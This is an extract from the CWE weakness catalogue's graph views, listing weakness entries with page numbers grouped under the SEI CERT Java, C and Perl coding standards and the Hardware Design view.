- V CWE-456: Missing Initialization of a Variable (p.1029)
- B CWE-606: Unchecked Input for Loop Condition (p.1278)
- C CWE-667: Improper Locking (p.1375)
- C CWE-672: Operation on a Resource after Expiration or Release (p.1386)
- B CWE-681: Incorrect Conversion between Numeric Types (p.1400)
- B CWE-772: Missing Release of Resource after Effective Lifetime (p.1512)
- V CWE-789: Memory Allocation with Excessive Size Value (p.1558)
- B CWE-798: Use of Hard-coded Credentials (p.1573)
- B CWE-835: Loop with Unreachable Exit Condition ('Infinite Loop') (p.1636)
- C CWE-1132: CISQ Quality Measures (2016) - Performance Efficiency (p.2236)
- V CWE-1042: Static Member Data Element outside of a Singleton Class Element (p.1742)
- B CWE-1043: Data Element Aggregating an Excessively Large Number of Non-Primitive Elements (p.1743)
- B CWE-1046: Creation of Immutable Text Using String Concatenation (p.1746)
- B CWE-1049: Excessive Data Query Operations in a Large Data Table (p.1749)
- B CWE-1050: Excessive Platform Resource Consumption within a Loop (p.1750)
- B CWE-1057: Data Access Operations Outside of Expected Data Manager Component (p.1757)
- B CWE-1060: Excessive Number of Inefficient Server-Side Data Accesses (p.1761)
- B CWE-1063: Creation of Class Instance within a Static Code Block (p.1764)
- B CWE-1067: Excessive Execution of Sequential Searches of Data Resource (p.1768)
- B CWE-1072: Data Resource Access without Use of Connection Pooling (p.1773)
- B CWE-1073: Non-SQL Invokable Control Element with Excessive Number of Data Resource Accesses (p.1774)
- B CWE-1089: Large Data Table with Excessive Number of Indices (p.1789)
- B CWE-1091: Use of Object without Invoking Destructor Method (p.1792)
- B CWE-1094: Excessive Index Range Scan for a Data Resource (p.1794)






















































## Graph View: CWE-1133: Weaknesses Addressed by the SEI CERT Oracle Coding Standard for Java

- C** CWE-1134: SEI CERT Oracle Secure Coding Standard for Java - Guidelines 00. Input Validation and Data Sanitization (IDS) (p.2237)
  - G** CWE-116: Improper Encoding or Escaping of Output (p.272)
  - V** CWE-180: Incorrect Behavior Order: Validate Before Canonicalize (p.433)
  - B** CWE-289: Authentication Bypass by Alternate Name (p.666)
  - B** CWE-117: Improper Output Neutralization for Logs (p.279)
  - V** CWE-144: Improper Neutralization of Line Delimiters (p.367)
  - V** CWE-150: Improper Neutralization of Escape, Meta, or Control Sequences (p.377)
  - B** CWE-409: Improper Handling of Highly Compressed Data (Data Amplification) (p.943)
  - B** CWE-134: Use of Externally-Controlled Format String (p.349)
  - B** CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') (p.147)
  - B** CWE-182: Collapse of Data into Unsafe Value (p.437)
- C** CWE-1135: SEI CERT Oracle Secure Coding Standard for Java - Guidelines 01. Declarations and Initialization (DCL) (p.2237)
  - G** CWE-665: Improper Initialization (p.1368)
- C** CWE-1136: SEI CERT Oracle Secure Coding Standard for Java - Guidelines 02. Expressions (EXP) (p.2238)
  - B** CWE-252: Unchecked Return Value (p.575)
  - B** CWE-476: NULL Pointer Dereference (p.1070)
  - V** CWE-597: Use of Wrong Operator in String Comparison (p.1258)
  - V** CWE-595: Comparison of Object References Instead of Object Contents (p.1256)
- C** CWE-1137: SEI CERT Oracle Secure Coding Standard for Java - Guidelines 03. Numeric Types and Operations (NUM) (p.2238)
  - B** CWE-190: Integer Overflow or Wraparound (p.453)
  - B** CWE-191: Integer Underflow (Wrap or Wraparound) (p.460)
  - B** CWE-197: Numeric Truncation Error (p.479)
  - B** CWE-369: Divide By Zero (p.865)
  - B** CWE-681: Incorrect Conversion between Numeric Types (p.1400)
  - |P|** CWE-682: Incorrect Calculation (p.1403)
- C** CWE-1138: SEI CERT Oracle Secure Coding Standard for Java - Guidelines 04. Characters and Strings (STR) (p.2239)
  - B** CWE-838: Inappropriate Encoding for Output Context (p.1641)
- C** CWE-1139: SEI CERT Oracle Secure Coding Standard for Java - Guidelines 05. Object Orientation (OBJ) (p.2239)
  - B** CWE-374: Passing Mutable Objects to an Untrusted Method (p.871)
  - B** CWE-375: Returning a Mutable Object to an Untrusted Caller (p.874)
  - V** CWE-486: Comparison of Classes by Name (p.1100)
  - V** CWE-491: Public cloneable() Method Without Final ('Object Hijack') (p.1108)
  - V** CWE-492: Use of Inner Class Containing Sensitive Data (p.1110)
  - V** CWE-498: Cloneable Class Containing Sensitive Information (p.1130)
  - V** CWE-500: Public Static Field Not Marked Final (p.1133)
  - V** CWE-766: Critical Data Element Declared Public (p.1495)
- C** CWE-1140: SEI CERT Oracle Secure Coding Standard for Java - Guidelines 06. Methods (MET) (p.2240)
  - B** CWE-617: Reachable Assertion (p.1297)
  - V** CWE-589: Call to Non-ubiquitous API (p.1247)
  - |P|** CWE-697: Incorrect Comparison (p.1428)
  - B** CWE-581: Object Model Violation: Just One of Equals and Hashcode Defined (p.1236)
  - G** CWE-573: Improper Following of Specification by Caller (p.1222)
  - V** CWE-586: Explicit Call to Finalize() (p.1243)
  - V** CWE-583: finalize() Method Declared Public (p.1238)
  - V** CWE-568: finalize() Method Without super.finalize() (p.1215)

- C CWE-1141: SEI CERT Oracle Secure Coding Standard for Java - Guidelines 07. Exceptional Behavior (ERR) (p.2241)
  - B CWE-460: Improper Cleanup on Thrown Exception (p.1041)
  - B CWE-584: Return Inside Finally Block (p.1240)
  - B CWE-459: Incomplete Cleanup (p.1038)
  - B CWE-248: Uncaught Exception (p.566)
  - G CWE-705: Incorrect Control Flow Scoping (p.1437)
  - G CWE-754: Improper Check for Unusual or Exceptional Conditions (p.1460)
  - P CWE-703: Improper Check or Handling of Exceptional Conditions (p.1433)
  - B CWE-397: Declaration of Throws for Generic Exception (p.910)
  - V CWE-382: J2EE Bad Practices: Use of System.exit() (p.883)
- C CWE-1142: SEI CERT Oracle Secure Coding Standard for Java - Guidelines 08. Visibility and Atomicity (VNA) (p.2241)
  - G CWE-362: Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition') (p.841)
  - B CWE-366: Race Condition within a Thread (p.856)
  - B CWE-413: Improper Resource Locking (p.950)
  - B CWE-567: Unsynchronized Access to Shared Data in a Multithreaded Context (p.1213)
  - G CWE-662: Improper Synchronization (p.1363)
  - G CWE-667: Improper Locking (p.1375)
- C CWE-1143: SEI CERT Oracle Secure Coding Standard for Java - Guidelines 09. Locking (LCK) (p.2242)
  - B CWE-412: Unrestricted Externally Accessible Lock (p.947)
  - B CWE-609: Double-Checked Locking (p.1283)
  - G CWE-667: Improper Locking (p.1375)
  - B CWE-820: Missing Synchronization (p.1601)
- C CWE-1144: SEI CERT Oracle Secure Coding Standard for Java - Guidelines 10. Thread APIs (THI) (p.2242)
  - V CWE-572: Call to Thread run() instead of start() (p.1221)
- C CWE-1145: SEI CERT Oracle Secure Coding Standard for Java - Guidelines 11. Thread Pools (TPS) (p.2243)
  - B CWE-392: Missing Report of Error Condition (p.901)
  - G CWE-405: Asymmetric Resource Consumption (Amplification) (p.933)
  - B CWE-410: Insufficient Resource Pool (p.945)
- C CWE-1146: SEI CERT Oracle Secure Coding Standard for Java - Guidelines 12. Thread-Safety Miscellaneous (TSM) (p.2243)
- C CWE-1147: SEI CERT Oracle Secure Coding Standard for Java - Guidelines 13. Input Output (FIO) (p.2244)
  - V CWE-67: Improper Handling of Windows Device Names (p.122)
  - V CWE-180: Incorrect Behavior Order: Validate Before Canonicalize (p.433)
  - B CWE-198: Use of Incorrect Byte Ordering (p.483)
  - B CWE-276: Incorrect Default Permissions (p.630)
  - V CWE-279: Incorrect Execution-Assigned Permissions (p.636)
  - B CWE-359: Exposure of Private Personal Information to an Unauthorized Actor (p.836)
  - G CWE-377: Insecure Temporary File (p.876)
  - G CWE-404: Improper Resource Shutdown or Release (p.927)
  - G CWE-405: Asymmetric Resource Consumption (Amplification) (p.933)
  - B CWE-459: Incomplete Cleanup (p.1038)
  - B CWE-532: Insertion of Sensitive Information into Log File (p.1171)
  - V CWE-647: Use of Non-Canonical URL Paths for Authorization Decisions (p.1343)
  - G CWE-705: Incorrect Control Flow Scoping (p.1437)
  - G CWE-732: Incorrect Permission Assignment for Critical Resource (p.1445)
  - B CWE-770: Allocation of Resources Without Limits or Throttling (p.1502)
- C CWE-1148: SEI CERT Oracle Secure Coding Standard for Java - Guidelines 14. Serialization (SER) (p.2244)
  - B CWE-319: Cleartext Transmission of Sensitive Information (p.740)
  - G CWE-400: Uncontrolled Resource Consumption (p.912)

- V CWE-499: Serializable Class Containing Sensitive Data (p.1132)
- B CWE-502: Deserialization of Untrusted Data (p.1137)
- B CWE-770: Allocation of Resources Without Limits or Throttling (p.1502)
- C CWE-1149: SEI CERT Oracle Secure Coding Standard for Java - Guidelines 15. Platform Security (SEC) (p.2245)
  - B CWE-266: Incorrect Privilege Assignment (p.605)
  - B CWE-272: Least Privilege Violation (p.623)
  - G CWE-732: Incorrect Permission Assignment for Critical Resource (p.1445)
- C CWE-1150: SEI CERT Oracle Secure Coding Standard for Java - Guidelines 16. Runtime Environment (ENV) (p.2245)
  - B CWE-349: Acceptance of Extraneous Untrusted Data With Trusted Data (p.815)
  - G CWE-732: Incorrect Permission Assignment for Critical Resource (p.1445)
- C CWE-1151: SEI CERT Oracle Secure Coding Standard for Java - Guidelines 17. Java Native Interface (JNI) (p.2246)
  - V CWE-111: Direct Use of Unsafe JNI (p.258)
- C CWE-1152: SEI CERT Oracle Secure Coding Standard for Java - Guidelines 49. Miscellaneous (MSC) (p.2246)
  - V CWE-259: Use of Hard-coded Password (p.591)
  - G CWE-311: Missing Encryption of Sensitive Data (p.718)
  - G CWE-327: Use of a Broken or Risky Cryptographic Algorithm (p.758)
  - G CWE-330: Use of Insufficiently Random Values (p.772)
  - V CWE-332: Insufficient Entropy in PRNG (p.781)
  - V CWE-336: Same Seed in Pseudo-Random Number Generator (PRNG) (p.789)
  - V CWE-337: Predictable Seed in Pseudo-Random Number Generator (PRNG) (p.791)
  - G CWE-400: Uncontrolled Resource Consumption (p.912)
  - V CWE-401: Missing Release of Memory after Effective Lifetime (p.921)
  - B CWE-770: Allocation of Resources Without Limits or Throttling (p.1502)
  - B CWE-798: Use of Hard-coded Credentials (p.1573)
- C CWE-1153: SEI CERT Oracle Secure Coding Standard for Java - Guidelines 50. Android (DRD) (p.2247)
- C CWE-1175: SEI CERT Oracle Secure Coding Standard for Java - Guidelines 18. Concurrency (CON) (p.2257)

## Graph View: CWE-1154: Weaknesses Addressed by the SEI CERT C Coding Standard

-  CWE-1155: SEI CERT C Coding Standard - Guidelines 01. Preprocessor (PRE) (p.2247)
-  CWE-1156: SEI CERT C Coding Standard - Guidelines 02. Declarations and Initialization (DCL) (p.2248)
  -  CWE-562: Return of Stack Variable Address (p.1204)
-  CWE-1157: SEI CERT C Coding Standard - Guidelines 03. Expressions (EXP) (p.2248)
  -  CWE-758: Reliance on Undefined, Unspecified, or Implementation-Defined Behavior (p.1472)
  -  CWE-908: Use of Uninitialized Resource (p.1669)
  -  CWE-476: NULL Pointer Dereference (p.1070)
  -  CWE-690: Unchecked Return Value to NULL Pointer Dereference (p.1418)
  -  CWE-628: Function Call with Incorrectly Specified Arguments (p.1316)
  -  CWE-685: Function Call With Incorrect Number of Arguments (p.1411)
  -  CWE-686: Function Call With Incorrect Argument Type (p.1412)
  -  CWE-843: Access of Resource Using Incompatible Type ('Type Confusion') (p.1654)
  -  CWE-704: Incorrect Type Conversion or Cast (p.1435)
  -  CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer (p.283)
  -  CWE-125: Out-of-bounds Read (p.316)
  -  CWE-480: Use of Incorrect Operator (p.1087)
  -  CWE-481: Assigning instead of Comparing (p.1090)
-  CWE-1158: SEI CERT C Coding Standard - Guidelines 04. Integers (INT) (p.2249)
  -  CWE-190: Integer Overflow or Wraparound (p.453)
  -  CWE-131: Incorrect Calculation of Buffer Size (p.340)
  -  CWE-191: Integer Underflow (Wrap or Wraparound) (p.460)
  -  CWE-680: Integer Overflow to Buffer Overflow (p.1398)
  -  CWE-192: Integer Coercion Error (p.463)
  -  CWE-197: Numeric Truncation Error (p.479)
  -  CWE-681: Incorrect Conversion between Numeric Types (p.1400)
  -  CWE-704: Incorrect Type Conversion or Cast (p.1435)
  -  CWE-194: Unexpected Sign Extension (p.471)
  -  CWE-195: Signed to Unsigned Conversion Error (p.474)
  -  CWE-369: Divide By Zero (p.865)
  -  CWE-682: Incorrect Calculation (p.1403)
  -  CWE-758: Reliance on Undefined, Unspecified, or Implementation-Defined Behavior (p.1472)
  -  CWE-587: Assignment of a Fixed Address to a Pointer (p.1244)
-  CWE-1159: SEI CERT C Coding Standard - Guidelines 05. Floating Point (FLP) (p.2250)
  -  CWE-682: Incorrect Calculation (p.1403)
  -  CWE-391: Unchecked Error Condition (p.898)
  -  CWE-681: Incorrect Conversion between Numeric Types (p.1400)
  -  CWE-197: Numeric Truncation Error (p.479)
-  CWE-1160: SEI CERT C Coding Standard - Guidelines 06. Arrays (ARR) (p.2250)
  -  CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer (p.283)
  -  CWE-129: Improper Validation of Array Index (p.327)
  -  CWE-786: Access of Memory Location Before Start of Buffer (p.1544)
  -  CWE-123: Write-what-where Condition (p.310)
  -  CWE-125: Out-of-bounds Read (p.316)
  -  CWE-758: Reliance on Undefined, Unspecified, or Implementation-Defined Behavior (p.1472)
  -  CWE-469: Use of Pointer Subtraction to Determine Size (p.1055)
  -  CWE-121: Stack-based Buffer Overflow (p.303)
  -  CWE-805: Buffer Access with Incorrect Length Value (p.1585)
  -  CWE-468: Incorrect Pointer Scaling (p.1053)
-  CWE-1161: SEI CERT C Coding Standard - Guidelines 07. Characters and Strings (STR) (p.2251)
  -  CWE-120: Buffer Copy without Checking Size of Input ('Classic Buffer Overflow') (p.294)
  -  CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer (p.283)

- V CWE-121: Stack-based Buffer Overflow (p.303)
- V CWE-122: Heap-based Buffer Overflow (p.307)
- B CWE-123: Write-what-where Condition (p.310)
- B CWE-125: Out-of-bounds Read (p.316)
- B CWE-676: Use of Potentially Dangerous Function (p.1394)
- B CWE-170: Improper Null Termination (p.411)
- C CWE-704: Incorrect Type Conversion or Cast (p.1435)
- C CWE-1162: SEI CERT C Coding Standard - Guidelines 08. Memory Management (MEM) (p.2251)
  - V CWE-416: Use After Free (p.958)
  - C CWE-672: Operation on a Resource after Expiration or Release (p.1386)
  - C CWE-758: Reliance on Undefined, Unspecified, or Implementation-Defined Behavior (p.1472)
  - C CWE-666: Operation on Resource in Wrong Phase of Lifetime (p.1374)
  - V CWE-415: Double Free (p.954)
  - V CWE-401: Missing Release of Memory after Effective Lifetime (p.921)
  - C CWE-404: Improper Resource Shutdown or Release (p.927)
  - B CWE-459: Incomplete Cleanup (p.1038)
  - B CWE-771: Missing Reference to Active Allocated Resource (p.1510)
  - B CWE-772: Missing Release of Resource after Effective Lifetime (p.1512)
  - V CWE-590: Free of Memory not on the Heap (p.1248)
  - B CWE-131: Incorrect Calculation of Buffer Size (p.340)
  - C CWE-680: Integer Overflow to Buffer Overflow (p.1398)
  - V CWE-467: Use of sizeof() on a Pointer Type (p.1050)
  - V CWE-789: Memory Allocation with Excessive Size Value (p.1558)
  - B CWE-190: Integer Overflow or Wraparound (p.453)
- C CWE-1163: SEI CERT C Coding Standard - Guidelines 09. Input Output (FIO) (p.2252)
  - B CWE-134: Use of Externally-Controlled Format String (p.349)
  - C CWE-20: Improper Input Validation (p.19)
  - V CWE-67: Improper Handling of Windows Device Names (p.122)
  - B CWE-197: Numeric Truncation Error (p.479)
  - B CWE-241: Improper Handling of Unexpected Data Type (p.555)
  - P CWE-664: Improper Control of a Resource Through its Lifetime (p.1367)
  - C CWE-404: Improper Resource Shutdown or Release (p.927)
  - B CWE-459: Incomplete Cleanup (p.1038)
  - B CWE-772: Missing Release of Resource after Effective Lifetime (p.1512)
  - V CWE-773: Missing Reference to Active File Descriptor or Handle (p.1517)
  - V CWE-775: Missing Release of File Descriptor or Handle after Effective Lifetime (p.1519)
  - B CWE-771: Missing Reference to Active Allocated Resource (p.1510)
  - B CWE-910: Use of Expired File Descriptor (p.1677)
  - C CWE-666: Operation on Resource in Wrong Phase of Lifetime (p.1374)
  - C CWE-672: Operation on a Resource after Expiration or Release (p.1386)
  - C CWE-758: Reliance on Undefined, Unspecified, or Implementation-Defined Behavior (p.1472)
  - V CWE-686: Function Call With Incorrect Argument Type (p.1412)
  - V CWE-685: Function Call With Incorrect Number of Arguments (p.1411)
- C CWE-1165: SEI CERT C Coding Standard - Guidelines 10. Environment (ENV) (p.2253)
  - C CWE-705: Incorrect Control Flow Scoping (p.1437)
  - B CWE-676: Use of Potentially Dangerous Function (p.1394)
  - B CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') (p.147)
  - B CWE-88: Improper Neutralization of Argument Delimiters in a Command ('Argument Injection') (p.188)
- C CWE-1166: SEI CERT C Coding Standard - Guidelines 11. Signals (SIG) (p.2254)
  - V CWE-479: Signal Handler Use of a Non-reentrant Function (p.1084)
  - C CWE-662: Improper Synchronization (p.1363)
- C CWE-1167: SEI CERT C Coding Standard - Guidelines 12. Error Handling (ERR) (p.2254)
  - V CWE-456: Missing Initialization of a Variable (p.1029)



- B CWE-391: Unchecked Error Condition (p.898)
- B CWE-252: Unchecked Return Value (p.575)
- B CWE-253: Incorrect Check of Function Return Value (p.582)
- B CWE-676: Use of Potentially Dangerous Function (p.1394)
- G CWE-758: Reliance on Undefined, Unspecified, or Implementation-Defined Behavior (p.1472)
- C CWE-1168: SEI CERT C Coding Standard - Guidelines 13. Application Programming Interfaces (API) (p.2255)
- C CWE-1169: SEI CERT C Coding Standard - Guidelines 14. Concurrency (CON) (p.2255)
  - G CWE-667: Improper Locking (p.1375)
  - B CWE-366: Race Condition within a Thread (p.856)
  - B CWE-676: Use of Potentially Dangerous Function (p.1394)
  - G CWE-330: Use of Insufficiently Random Values (p.772)
  - G CWE-377: Insecure Temporary File (p.876)
- C CWE-1170: SEI CERT C Coding Standard - Guidelines 48. Miscellaneous (MSC) (p.2256)
  - G CWE-327: Use of a Broken or Risky Cryptographic Algorithm (p.758)
  - G CWE-330: Use of Insufficiently Random Values (p.772)
  - B CWE-338: Use of Cryptographically Weak Pseudo-Random Number Generator (PRNG) (p.793)
  - B CWE-676: Use of Potentially Dangerous Function (p.1394)
  - B CWE-331: Insufficient Entropy (p.778)
  - G CWE-758: Reliance on Undefined, Unspecified, or Implementation-Defined Behavior (p.1472)
- C CWE-1171: SEI CERT C Coding Standard - Guidelines 50. POSIX (POS) (p.2256)
  - B CWE-170: Improper Null Termination (p.411)
  - B CWE-242: Use of Inherently Dangerous Function (p.557)
  - B CWE-363: Race Condition Enabling Link Following (p.849)
  - G CWE-696: Incorrect Behavior Order (p.1426)
  - B CWE-273: Improper Check for Dropped Privileges (p.626)
  - G CWE-667: Improper Locking (p.1375)
  - B CWE-391: Unchecked Error Condition (p.898)
  - B CWE-252: Unchecked Return Value (p.575)
  - B CWE-253: Incorrect Check of Function Return Value (p.582)
- C CWE-1172: SEI CERT C Coding Standard - Guidelines 51. Microsoft Windows (WIN) (p.2257)
  - V CWE-762: Mismatched Memory Management Routines (p.1485)
  - V CWE-590: Free of Memory not on the Heap (p.1248)

## Graph View: CWE-1178: Weaknesses Addressed by the SEI CERT Perl Coding Standard

- C** CWE-1179: SEI CERT Perl Coding Standard - Guidelines 01. Input Validation and Data Sanitization (IDS) (p.2258)
  - B** CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') (p.33)
  - B** CWE-134: Use of Externally-Controlled Format String (p.349)
  - V** CWE-129: Improper Validation of Array Index (p.327)
  - V** CWE-789: Memory Allocation with Excessive Size Value (p.1558)
  - C** CWE-116: Improper Encoding or Escaping of Output (p.272)
  - C** CWE-77: Improper Neutralization of Special Elements used in a Command ('Command Injection') (p.141)
  - V** CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection') (p.220)
- C** CWE-1180: SEI CERT Perl Coding Standard - Guidelines 02. Declarations and Initialization (DCL) (p.2258)
  - B** CWE-628: Function Call with Incorrectly Specified Arguments (p.1316)
  - V** CWE-456: Missing Initialization of a Variable (p.1029)
  - V** CWE-457: Use of Uninitialized Variable (p.1034)
  - B** CWE-477: Use of Obsolete Function (p.1076)
- C** CWE-1181: SEI CERT Perl Coding Standard - Guidelines 03. Expressions (EXP) (p.2259)
  - B** CWE-394: Unexpected Status Code or Return Value (p.904)
  - B** CWE-783: Operator Precedence Logic Error (p.1536)
  - B** CWE-477: Use of Obsolete Function (p.1076)
  - B** CWE-248: Uncaught Exception (p.566)
  - B** CWE-391: Unchecked Error Condition (p.898)
  - B** CWE-460: Improper Cleanup on Thrown Exception (p.1041)
  - C** CWE-705: Incorrect Control Flow Scoping (p.1437)
  - C** CWE-754: Improper Check for Unusual or Exceptional Conditions (p.1460)
  - B** CWE-252: Unchecked Return Value (p.575)
  - B** CWE-690: Unchecked Return Value to NULL Pointer Dereference (p.1418)
  - B** CWE-628: Function Call with Incorrectly Specified Arguments (p.1316)
  - B** CWE-375: Returning a Mutable Object to an Untrusted Caller (p.874)
  - V** CWE-597: Use of Wrong Operator in String Comparison (p.1258)
- C** CWE-1182: SEI CERT Perl Coding Standard - Guidelines 04. Integers (INT) (p.2260)
  - C** CWE-189: Numeric Errors (p.2103)
- C** CWE-1183: SEI CERT Perl Coding Standard - Guidelines 05. Strings (STR) (p.2260)
- C** CWE-1184: SEI CERT Perl Coding Standard - Guidelines 06. Object-Oriented Programming (OOP) (p.2260)
  - V** CWE-767: Access to Critical Private Variable via Public Method (p.1498)
- C** CWE-1185: SEI CERT Perl Coding Standard - Guidelines 07. File Input and Output (FIO) (p.2261)
  - B** CWE-59: Improper Link Resolution Before File Access ('Link Following') (p.108)
- C** CWE-1186: SEI CERT Perl Coding Standard - Guidelines 50. Miscellaneous (MSC) (p.2261)
  - B** CWE-561: Dead Code (p.1201)
  - V** CWE-563: Assignment to Variable without Use (p.1206)




























## Graph View: CWE-1194: Hardware Design

- C** CWE-1195: Manufacturing and Life Cycle Management Concerns (p.2262)
  - G** CWE-1059: Insufficient Technical Documentation (p.1759)
  - B** CWE-1248: Semiconductor Defects in Hardware Logic with Security-Sensitive Implications (p.1889)
  - B** CWE-1266: Improper Scrubbing of Sensitive Data from Decommissioned Device (p.1930)
  - B** CWE-1269: Product Released in Non-Release Configuration (p.1936)
  - B** CWE-1273: Device Unlock Credential Sharing (p.1944)
  - B** CWE-1297: Unprotected Confidential Information on Device is Accessible by OSAT Vendors (p.1989)
- C** CWE-1196: Security Flow Issues (p.2262)
  - B** CWE-1190: DMA Device Enabled Too Early in Boot Phase (p.1831)
  - B** CWE-1193: Power-On of Untrusted Execution Core Before Enabling Fabric Access Control (p.1837)
  - B** CWE-1264: Hardware Logic with Insecure De-Synchronization between Control and Data Channels (p.1924)
  - B** CWE-1274: Improper Access Control for Volatile Memory Containing Boot Code (p.1946)
  - B** CWE-1283: Mutable Attestation or Measurement Reporting Data (p.1963)
  - B** CWE-1310: Missing Ability to Patch ROM Code (p.2008)
  - B** CWE-1326: Missing Immutable Root of Trust in Hardware (p.2037)
  - B** CWE-1328: Security Version Number Mutable to Older Versions (p.2041)
- C** CWE-1197: Integration Issues (p.2263)
  - B** CWE-1276: Hardware Child Block Incorrectly Connected to Parent System (p.1950)
- C** CWE-1198: Privilege Separation and Access Control Issues (p.2263)
  - B** CWE-276: Incorrect Default Permissions (p.630)
  - G** CWE-441: Unintended Proxy or Intermediary ('Confused Deputy') (p.1005)
  - B** CWE-1189: Improper Isolation of Shared Resources on System-on-a-Chip (SoC) (p.1829)
  - B** CWE-1192: System-on-Chip (SoC) Using Components without Unique, Immutable Identifiers (p.1835)
  - B** CWE-1220: Insufficient Granularity of Access Control (p.1843)
  - V** CWE-1222: Insufficient Granularity of Address Regions Protected by Register Locks (p.1848)
  - B** CWE-1242: Inclusion of Undocumented Features or Chicken Bits (p.1876)
  - B** CWE-1260: Improper Handling of Overlap Between Protected Memory Ranges (p.1915)
  - B** CWE-1262: Improper Access Control for Register Interface (p.1920)
  - B** CWE-1267: Policy Uses Obsolete Encoding (p.1931)
  - B** CWE-1268: Policy Privileges are not Assigned Consistently Between Control and Data Agents (p.1933)
  - B** CWE-1280: Access Control Check Implemented After Asset is Accessed (p.1958)
  - G** CWE-1294: Insecure Security Identifier Mechanism (p.1983)
    - B** CWE-1259: Improper Restriction of Security Token Assignment (p.1913)
    - B** CWE-1270: Generation of Incorrect Security Tokens (p.1938)
    - B** CWE-1290: Incorrect Decoding of Security Identifiers (p.1976)
    - B** CWE-1292: Incorrect Conversion of Security Identifiers (p.1980)
  - B** CWE-1299: Missing Protection Mechanism for Alternate Hardware Interface (p.1993)
  - B** CWE-1302: Missing Security Identifier (p.2001)
  - B** CWE-1303: Non-Transparent Sharing of Microarchitectural Resources (p.2003)
  - B** CWE-1314: Missing Write Protection for Parametric Data Values (p.2015)
  - B** CWE-1318: Missing Support for Security Features in On-chip Fabrics or Buses (p.2023)
  - B** CWE-1334: Unauthorized Error Injection Can Degrade Hardware Redundancy (p.2056)
- C** CWE-1199: General Circuit and Logic Design Concerns (p.2264)
  - B** CWE-1209: Failure to Disable Reserved Bits (p.1841)
  - B** CWE-1221: Incorrect Register Defaults or Module Parameters (p.1845)
  - B** CWE-1223: Race Condition for Write-Once Attributes (p.1849)
  - B** CWE-1224: Improper Restriction of Write-Once Bit Fields (p.1851)
  - B** CWE-1231: Improper Prevention of Lock Bit Modification (p.1855)
  - B** CWE-1232: Improper Lock Behavior After Power State Transition (p.1857)
  - B** CWE-1233: Security-Sensitive Hardware Controls with Missing Lock Bit Protection (p.1859)
  - B** CWE-1234: Hardware Internal or Debug Modes Allow Override of Locks (p.1861)

- B CWE-1245: Improper Finite State Machines (FSMs) in Hardware Logic (p.1882)
- B CWE-1250: Improper Preservation of Consistency Between Independent Representations of Shared State (p.1893)
- B CWE-1253: Incorrect Selection of Fuse Values (p.1898)
- B CWE-1254: Incorrect Comparison Logic Granularity (p.1900)
- B CWE-1261: Improper Handling of Single Event Upsets (p.1918)
- B CWE-1298: Hardware Logic Contains Race Conditions (p.1991)
- C CWE-1201: Core and Compute Issues (p.2265)
  - B CWE-1252: CPU Hardware Not Configured to Support Exclusivity of Write and Execute Operations (p.1897)
  - B CWE-1281: Sequence of Processor Instructions Leads to Unexpected Behavior (p.1960)
  - B CWE-1342: Information Exposure through Microarchitectural State after Transient Execution (p.2071)
- C CWE-1202: Memory and Storage Issues (p.2265)
  - B CWE-226: Sensitive Information in Resource Not Removed Before Reuse (p.536)
    - V CWE-1239: Improper Zeroization of Hardware Register (p.1868)
    - B CWE-1342: Information Exposure through Microarchitectural State after Transient Execution (p.2071)
  - B CWE-1246: Improper Write Handling in Limited-write Non-Volatile Memories (p.1884)
  - B CWE-1251: Mirrored Regions with Different Values (p.1894)
  - B CWE-1257: Improper Access Control Applied to Mirrored or Aliased Memory Regions (p.1909)
  - B CWE-1282: Assumed-Immutable Data is Stored in Writable Memory (p.1962)
- C CWE-1203: Peripherals, On-chip Fabric, and Interface/IO Problems (p.2265)
  - B CWE-1311: Improper Translation of Security Attributes by Fabric Bridge (p.2009)
  - B CWE-1312: Missing Protection for Mirrored Regions in On-Chip Fabric Firewall (p.2011)
  - B CWE-1315: Improper Setting of Bus Controlling Capability in Fabric End-point (p.2017)
  - B CWE-1316: Fabric-Address Map Allows Programming of Unwarranted Overlaps of Protected and Unprotected Ranges (p.2019)
  - B CWE-1317: Improper Access Control in Fabric Bridge (p.2021)
  - B CWE-1331: Improper Isolation of Shared Resources in Network On Chip (NoC) (p.2048)
- C CWE-1205: Security Primitives and Cryptography Issues (p.2266)
  - B CWE-203: Observable Discrepancy (p.497)
    - B CWE-1300: Improper Protection of Physical Side Channels (p.1996)
  - B CWE-325: Missing Cryptographic Step (p.754)
  - B CWE-1240: Use of a Cryptographic Primitive with a Risky Implementation (p.1869)
  - B CWE-1241: Use of Predictable Algorithm in Random Number Generator (p.1875)
  - B CWE-1279: Cryptographic Operations are run Before Supporting Units are Ready (p.1956)
  - B CWE-1351: Improper Handling of Hardware Behavior in Exceptionally Cold Environments (p.2074)
- C CWE-1206: Power, Clock, Thermal, and Reset Concerns (p.2266)
  - B CWE-1232: Improper Lock Behavior After Power State Transition (p.1857)
  - B CWE-1247: Improper Protection Against Voltage and Clock Glitches (p.1886)
  - B CWE-1248: Semiconductor Defects in Hardware Logic with Security-Sensitive Implications (p.1889)
  - V CWE-1255: Comparison Logic is Vulnerable to Power Side-Channel Attacks (p.1902)
  - B CWE-1256: Improper Restriction of Software Interfaces to Hardware Features (p.1906)
  - B CWE-1271: Uninitialized Value on Reset for Registers Holding Security Settings (p.1940)
  - B CWE-1304: Improperly Preserved Integrity of Hardware Configuration State During a Power Save/Restore Operation (p.2005)
  - B CWE-1314: Missing Write Protection for Parametric Data Values (p.2015)
  - B CWE-1320: Improper Protection for Outbound Error Messages and Alert Signals (p.2028)
  - B CWE-1332: Improper Handling of Faults that Lead to Instruction Skips (p.2050)
  - B CWE-1338: Improper Protections Against Hardware Overheating (p.2062)
- C CWE-1207: Debug and Test Problems (p.2267)
  - B CWE-1191: On-Chip Debug and Test Interface With Improper Access Control (p.1833)
  - B CWE-1234: Hardware Internal or Debug Modes Allow Override of Locks (p.1861)
  - B CWE-1243: Sensitive Non-Volatile Information Not Protected During Debug (p.1878)
  - B CWE-1244: Internal Asset Exposed to Unsafe Debug Access Level or State (p.1879)
  - B CWE-1258: Exposure of Sensitive System Information Due to Uncleared Debug Information (p.1912)

- B CWE-1272: Sensitive Information Uncleared Before Debug/Power State Transition (p.1942)
- B CWE-1291: Public Key Re-Use for Signing both Debug and Production Code (p.1978)
